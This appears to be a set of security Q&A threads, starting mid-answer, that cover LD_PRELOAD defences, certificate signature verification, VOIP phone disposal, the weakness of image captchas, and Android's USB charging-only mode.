You could somehow set all the binaries that worry you as setuid/setgid (that does not mean they must be owned by root, as far as I know). Linux normally prevents attaching to a setuid/setgid process. Please do verify if it does so for non-root-owned setuid though!
You could use a secure loader to run your apps instead of ld, which refuses to acknowledge LD_PRELOADs. This may break some existing apps. See Mathias Payer's work for more, though I doubt there is any off-the-shelf tool you can just apply.
You could rebuild your binaries with a libc that disables LD_PRELOAD and dlsym. I've heard musl can do that if passing the right options, but can't refind information on how right now.
And finally, you could sandbox your apps and prevent apps from directly launching other processes with a custom environment or from modifying the user's home directory. There is no ready-made tool for this either (it's very much work in progress and nothing is yet deployable).

There probably are limits to the above solutions and other candidate solutions depending on what apps you need to run, who the users are and what the threat model is. If you can make your question more accurate I'll try and improve that answer accordingly.

Edit: keep in mind that a malicious user can only modify their own execution environment (unless they can escalate privileges to root with some exploit but then you have other issues to handle). So, a user would usually not use LD_PRELOAD injections because they can already run code with the same privileges. Attacks make sense for a few scenarios:

breaking security-related checks on the client side of client-server software (typically cheats in video games, or making a client app bypass some validation step with its distributor's server)
installing permanent malware when you take over a user's session or process (either because they forgot to log out and you have physical access to the device or because you exploited one of their apps with crafted content)


How do I know a certificate is not faked? Assuming a situation in which Alice wants to send Bob an encrypted message by using a PKE, as far as I know, digital certificates allow both Alice and Bob to be sure that the public key they have is the one which actually correspond to the other one and it's not faked.

(If I'm wrong, please let me know)

But my question is: what is the step-by-step process for assuring that the public key contained in the certificate is the real one and it has not been modified?

The certificate is digitally signed by a 3rd party, e.g. a CA (certificate authority). This signature can be verified using the public key of the CA.

If the attacker modifies the public key, the signature won't match any longer.

If the attacker also finds a way to modify the public key of the CA, then you lost I'd say.


How to destroy VOIP phone in a proper way? Are there any standards which consider safe destroying of VOIP phones? I would like to prevent eventual data leakage after devices which have left the company.

Considering every VOIP phone is different, it's kind of hard to standardize depending on where the storage module is located.

There are companies who are specialized in hardware destruction, opting for performing destruction yourself can be very very tricky. Should you be able to locate the storage module you could use the Guidelines for Media Sanitization produced by NIST.


Are photo recognition captchas a reliable way to distinguish humans from bots? You all know captchas that require you to either type some letters displayed in an obfuscated way as image.

Recently I started to see more and more captchas that show you a set of small photos and require you to e.g. "select all street signs" or "click all photos depicting water".

However, are those captchas really anything but annoying?

Consider the famous Wolfram language project and their service ImageIdentify.com. You upload any picture there and it recognizes the content with surprisingly high precision.

So are those photo recognition captchas (not those that require you to read obfuscated letters, but those that require you to categorize images by their content) really a reliable way to distinguish human users from programs, as every skilled hacker has free access to such services?

People have been moderately successful at attacking these with OCR software and a variety of other non-OCR techniques. They do still slow automated attackers some so they are still very useful but they have been proven to be broken as a true test of human vs. machine for quite a while.

The following related links may be of use:

https://www.owasp.org/images/0/03/ASDC12-Attacking_CAPTCHAs_for_Fun_and_Profit.pdf

https://security.googleblog.com/2014/12/are-you-robot-introducing-no-captcha.html

https://www.owasp.org/index.php/Testing_for_Captcha_(OWASP-AT-008)

https://cintruder.03c8.net/

http://caca.zoy.org/wiki/PWNtcha

http://churchturing.org/captcha-dist/

http://www.lafdc.com/captcha/

http://www.cs.sfu.ca/~mori/research/gimpy/

http://www.puremango.co.uk/2005/11/breaking_captcha_115/

http://securesoftware.blogspot.com/2007/11/captcha-placebo-security-control-for.html

Again there is a lot of value in slowing the attacker down and making attacks more expensive so these are still very useful, albeit annoying.


Does Android have no protection against malicious public USB ports? I was reading a bunch of news articles which asked not to charge phone using public USB ports as they could be malicious.

According to the web pages, the USB wires carry data and power so they have a capacity to infect your phone or steal the data. Is there no protection in Android against it?

What about the option on Android phones to use a phone for just charging or transferring data when connected to computer?

Android has this feature now.

Go into either
Settings > System > About phone
or
Settings > About phone.
Inside About phone tap on Build number about 7 times. Navigate back to Settings at the top of the screen and enter 'developer' into the Search View. From the search results you'll need to follow the Developer options link. Inside Developer options flip the switch at the top to On and then scroll down and tap Select USB Configuration. In the dialog select a configuration from the options, and you're all set. To help prevent attacks from malicious chargers you would generally set the configuration to Charging.